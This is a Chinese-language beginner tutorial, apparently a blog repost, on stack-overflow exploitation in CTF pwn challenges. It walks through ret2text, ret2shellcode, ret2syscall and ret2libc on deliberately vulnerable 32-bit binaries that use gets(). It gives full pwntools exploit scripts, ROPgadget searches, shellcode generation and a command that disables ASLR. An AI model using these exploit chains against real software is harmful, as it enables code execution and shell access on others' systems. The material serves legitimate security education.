pwn新手入门之栈溢出

admin 2022年1月5日23:36:12CTF专场pwn新手入门之栈溢出已关闭评论18 views8377字阅读27分55秒阅读模式

前言

国庆假期打算学学pwn,文章内容主要是跟着 ctfwiki 一路学习下来。

栈的介绍

什么是栈,相信修过数据结构的同学们应该都了解清楚了。栈是一种先进后出的数据结构,其操作主要有入栈(push)和出栈(pop)两种操作,如下图所示
pwn新手入门之栈溢出
在高级语言运行时会转换为汇编语言,而汇编语言运行的过程中,使用栈的数据结构,用于保存函数的调用信息和局部变量。在学习栈时需要注意 程序的栈是从进程地址空间的高地址向低地址增长

栈溢出原理

栈溢出指的是向栈中某个变量写入的字节数超过了这个变量本身所申请的字节数,因此导致了与其相邻的栈中的变量的值被改变。栈溢出漏洞轻则导致程序的崩溃,重则导致攻击者可以控制程序的执行流程。理解概念后,就可以梳理清楚栈溢出漏洞的前提

  • 程序必须向栈上写入数据。
  • 写入的数据大小没有被良好地控制。

最经典的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址(当然这个控制地址必须有可执行的权限),我们以一个例子来呈现

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>
void success() { puts("flag{208f1b1289da972682cbc81c8684fcc8}"); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}

首先将该文件进行编译

1
gcc -m32 -fno-stack-protector -no-pie stack1.c -o stack1

gcc编译指令中,-m32表示生成32位程序;-fno-stack-protector指的是不开始堆栈溢出保护,即不生成canary;-no-pie表示关闭PIE,避免基址被打乱,生成后用 checksec 检查编译出的程序PIE是否关闭
pwn新手入门之栈溢出
从图中可以看出,在编译程序的时候就提醒了我们gets函数是一个危险函数。因为它不检查输入的字符串长度,而是以回车来判断结束,因此容易导致栈溢出漏洞的产生。

接着上面说的 PIE 保护,实质上,linux系统存在地址空间分布随机化(ASLR)机制,简单说就是即使可执行文件开启了 PIE 保护,还需要系统来开启 ASLR 才会真正打乱基址,否则依旧会加载在一个固定的基址上
我们可以通过cat /proc/sys/kernel/randomize_va_space来查看ASLR启动与否

  • 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
  • 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
  • 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。

我们通过echo 0 > /proc/sys/kernel/randomize_va_space来关闭ASLR

接下来,我们将生成的可执行文件导入到 ida 进行查看,在main函数中会进入到 vulnerable() 函数
pwn新手入门之栈溢出
双击char s,可以看到栈空间大小为0x14,到函数的返回值为0x4-(-0x14)=0x18,也就是只需要18个字节,我们就可以覆盖返回地址的内容。
pwn新手入门之栈溢出
我们知道函数的调用过程是,当子函数执行完毕,就会把主函数下一个命令的地址出栈并赋值给 EIP 寄存器,随后 EIP 寄存器就会去该地址执行。而我们在ida中可以看到含有 flag 的 success 函数地址为0x08048456,所以我们exp如下

1
2
3
4
5
6
from pwn import *

sh = process("./stack1")
payload="a"*0x18+p32(0x08048456)
sh.sendline(payload)
sh.interactive()

成功执行 success 函数获取到flag

基本ROP

随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。 所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

常用的汇编指令如下

1
2
3
4
5
6
7
8
9
MOV %src %dest :把数据从源地放到目的地

push:从栈中取出一个元素

POP:往栈中压入一个元素

call:将当前的指令指针EIP(该指针指向紧接在call指令后的下条指令)压入堆栈

ret:从栈顶弹出返回地址(之前call指令保存的下条指令地址)到EIP寄存器中,程序转到该地址处继续执行(此时ESP指向进入函数时的第一个参数)

ROP,其核心在于利用了指令集中的ret指令,改变了指令流的执行顺序。ROP攻击一般需要满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

但是如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了

ret2text

ret2text是一种控制程序执行程序本身已有的的代码的攻击方式,我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP

点击下载文件:ret2text
首先使用checksec检查文件,发现是32位程序,且只开启了NX保护(shellcode不可执行)
pwn新手入门之栈溢出
拖进 ida 中观察,main 函数使用了gets

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s;

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(&s);
printf("Maybe I will tell you next time !");
return 0;
}

并且还有一个 secure() 函数,其中含有/bin/sh
pwn新手入门之栈溢出
其地址为0x0804863A,接着就是计算 s 相对于返回地址的偏移,首先打开 gdb 运行文件

接着另起一个窗口使用 cyclic 工具生成字符,比如这里生成150的字符

pwn新手入门之栈溢出
然后放到gdb中回车
pwn新手入门之栈溢出
可以看到报错的地址为0x62616164
pwn新手入门之栈溢出
然后用 cyclic 计算偏移大小为112
pwn新手入门之栈溢出
所以exp如下

1
2
3
4
5
from pwn import *
sh = process("./ret2text")
payload = 'a'*112 + p32(0x0804863A)
sh.sendline(payload)
sh.interactive()

ret2shellcode

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

在栈溢出的基础上,如果要执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限
点击下载:ret2shellcode
首先使用 checksec 检查文件
pwn新手入门之栈溢出
是一个32位程序,并且几乎没有什么保护,拖进 ida 中按F5查看 mian 函数

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s;

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}

使用了 gets,存在基本的栈溢出漏洞,此外还将字符串 s 复制到了 buf2,双击buf2
pwn新手入门之栈溢出
可以看到 buf2 在 bss 段上,地址为0x0804A080,使用 gdb 调试查看该段是否有可执行的权限,依次执行命令

1
2
3
4
gdb ret2shellcode  #使用gdb
b main #在main下断点
r #运行程序
vmmap #查看栈、bss段是否可以执行

pwn新手入门之栈溢出
可以看到该段是具有可执行的权限,而0x0804A080正好在此区间

1
0x0804a000 0x0804b000 rwxp	/home/hacker/Desktop/gongfangword-pwn/ret2shellcode

所以我们可以控制程序读取 shellcode 之后,执行 bss 段处的 shellcode,首先和上面 ret2text一样的办法先计算出偏移
pwn新手入门之栈溢出
得到112,然后开始写exp,其中 shellcode 可以由 pwntools 生成

1
2
3
4
5
6
7
8
9

from pwn import *
p = process("./ret2shellcode")

shellcode = asm(shellcraft.sh())

payload = shellcode.ljust(112, 'a') + p32(0x0804A080)
p.sendline(payload)
p.interactive()

运行后成功获取交互式shell

ret2syscall

ret2syscall,简单来说就是控制程序执行系统调用获取 shell,继续以题目为例
点击下载: ret2syscall
首先使用 checksec 检查文件
pwn新手入门之栈溢出
32位程序,并且开启了NX保护(即shellcode不可执行),ida 查看依然是一个典型栈溢出

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4;

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;

由于我们不能像之前一样直接利用程序中的某段代码或者自己填写代码拿到shell,所以需要利用程序中的 gadgets 来获得 shell
首先我们需要了解一下 Linux 的系统调用知识点:

Linux的系统调用通过 int 80h 实现,并且用系统调用号来区分入口的函数

调用流程如下:
1、将系统调用编号存入 eax 寄存器中
2、将函数的参数存入其他通用的寄存器(ebx、ecx、edx…)
2、触发 0x80 号中断

比如我们通过系统调用执行:execve("/bin/sh", NULL, NULL),如图所示
pwn新手入门之栈溢出
首先计算栈空间偏移,用之前提到的办法计算
pwn新手入门之栈溢出
值求得为112,所以需要填充的空间大小为112
接着需要知道 execve 的系统调用号(32位)

1
cat /usr/include/asm/unistd_32.h | grep execve

pwn新手入门之栈溢出
可以看到值为11,转换为16进制就是0xb,接着我们使用 ROPgadget 工具开始寻找含有pop eax的指令地址

1
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'

pwn新手入门之栈溢出
上述几个都可以控制 eax 寄存器,我们这里选取第二个,即地址为0x080bb196
接着寻找pop ebx的指令地址

1
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

pwn新手入门之栈溢出
可以发现在找pop ebx的过程中发现这个地址同时包含控制 ecx、edx 的操作,所以我们选取地址0x0806eb90进行使用
接着寻找/bin/sh的地址了

1
ROPgadget --binary rop --string '/bin/sh'

pwn新手入门之栈溢出
地址为0x080be408,最后只剩下int 80h的地址了

1
ROPgadget --binary rop --only 'int'

pwn新手入门之栈溢出
地址为0x08049421,地址都找齐了,就可以开始写exp了

1
2
3
4
5
6
7
8
9
10
11

from pwn import *
p = process("./rop")
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx = 0x0806eb90
bin_sh = 0x080be408
int_80 = 0x08049421

payload = 'a'*112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bin_sh) + p32(int_80)
p.sendline(payload)
p.interactive()

运行后成功获得shell

ret2libc

ret2libc 简单来说就是使我们的 ret 不跳转到 vuln 或者 shellcode 上,而是跳转到了某个函数的 plt 或者该函数对应的 got 表内容,从而控制函数去执行 libc 中的函数,一般情况下使用system("/bin/sh")
在 wiki 中,一共给了三道题,分别对应不同情况

1
2
3
1、有system 有/bin/sh
2、有system 无/bin/sh
3、无system 无/bin/sh

有system 有/bin/sh

点击下载: ret2libc1
首先检查文件
pwn新手入门之栈溢出
32位程序,并且开启了 NX 保护,用 ida 查看

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s;

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}

典型的栈溢出,看到有 system 函数
pwn新手入门之栈溢出
地址为0x08048460,接着查找 /bin/sh 的地址

1
ROPgadget --binary ret2libc1 --string '/bin/sh'

pwn新手入门之栈溢出
地址为0x08048720,然后找偏移大小
pwn新手入门之栈溢出
大小为112,可以写exp了

1
2
3
4
5
6
7
8
9

from pwn import *
p = process("./ret2libc1")
system_a = 0x08048460
bin_sh_a = 0x08048720

payload = 'a'*112 + p32(system_a) + 'b'*4 + p32(bin_sh_a)
p.sendline(payload)
p.interactive()

运行后获取shell

有system 无/bin/sh

这次在ida中查看,发现没有 /bin/sh 字符串,但是 main 中有 gets

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s;

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(&s);
return 0;
}

并且 plt 端中也有gets 函数
pwn新手入门之栈溢出
所以思路就是,如果 bss 段可写,我们就通过 gets 接收我们输入的/bin/sh字符串,然后写入到 bss 段中,接着跳转到 system 函数中执行,整个流程图如图所示
pwn新手入门之栈溢出
我们先去看一下 bss 段地址
pwn新手入门之栈溢出
0x0804A080,我们用 gdb 查看一下是否具有可写的权限
pwn新手入门之栈溢出
可以看到该区间是具有可写的权限,栈空间由之前的办法求得为112,所以可以写exp了

1
2
3
4
5
6
7
8
9
10
11

from pwn import *
p = process("./ret2libc2")
get_addr = 0x08048460
sys_addr = 0x08048490
bss_addr = 0x0804A080

payload = 'a'*112 + p32(get_addr) + p32(sys_addr) + p32(bss_addr) + p32(bss_addr)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

运行后成功获取shell

无system 无/bin/sh

在前面的基础上,再次将 system 函数地址去掉,所以这次我们需要同时找到 system 和 /bin/sh
点击下载: ret2libc3
首先检查文件
pwn新手入门之栈溢出
依然开启了 NX 堆栈不可执行保护,放进 ida 中查看源码

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s;

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(&s);
return 0;
}

还是典型的 gets 栈溢出漏洞,没有 system 和 /bin/sh ,我们可以使用 libc 中的 system 和 /bin/sh。如果我们知道了 libc 中的某一个函数地址就可以确定该程序使用的libc版本,从而知道其他函数的地址。

获得libc的某个函数地址通常使用 got 表泄露的方式(即输出某个函数对应的got表项内容),但是由于 libc 的延迟绑定,我们需要泄露的是已经执行过的函数地址

在 main 函数中我们可以看到执行了 puts,所以我们思路如下:

1
2
3
4
5
6
7
1.先通过一次栈溢出,将puts的plt地址放到返回处,通过代码中的puts(输出)功能泄露出执行过的函数(puts)的got地址

2.将puts的返回地址设置为_start函数(我们在ida中看到的main()函数是用户代码的入口,是对于用户而言),而start函数是系统代码入口,是程序最初被执行的地方,也就是程序真正的入口),以用来执行system('/bin/sh')

3.通过泄露出的got地址计算出libc中的system和/bin/sh的地址

4.再次执行栈溢出,把返回地址换成system的地址达到getshell

编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

from pwn import *
p = process("./ret2libc3")
elf = ELF("./ret2libc3")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']

payload_1 = 'a'*112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
p.sendlineafter("Can you find it !?",payload_1)
puts_addr = u32(p.recv(4))

libc = elf.libc
libcbase = puts_addr - libc.symbols['puts']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search('/bin/sh'))

payload_2 = 'a'*112 + p32(system_addr) + 'aaaa' + p32(binsh_addr)
p.sendlineafter("Can you find it !?", payload_2)
p.interactive()

执行后成功 getshell

上面说的都是32位程序,而在64位程序中函数的调用栈是不同的,这也是我们写 payload 时需要注意的地方

  • 32位程序
    • 函数参数函数返回地址 的上方
  • 64位程序
    • 采用寄存器传参,所以我们需要覆盖寄存器
    • 前六个参数按顺序存储在寄存器 rdi, rsi, rdx, rcx, r8, r9 中,参数超过六个时,从第七个开始压入栈中
    • 内存地址不能大于 0x00007FFFFFFFFFFF, 6 个字节长度 ,否则会抛出异常。

结语

继续努力学习,后面遇见新的知识点会继续补充这篇文章

参考链接:
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/
https://www.yuque.com/hxfqg9/bin/ug9gx5

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日23:36:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  pwn新手入门之栈溢出 http://cn-sec.com/archives/720630.html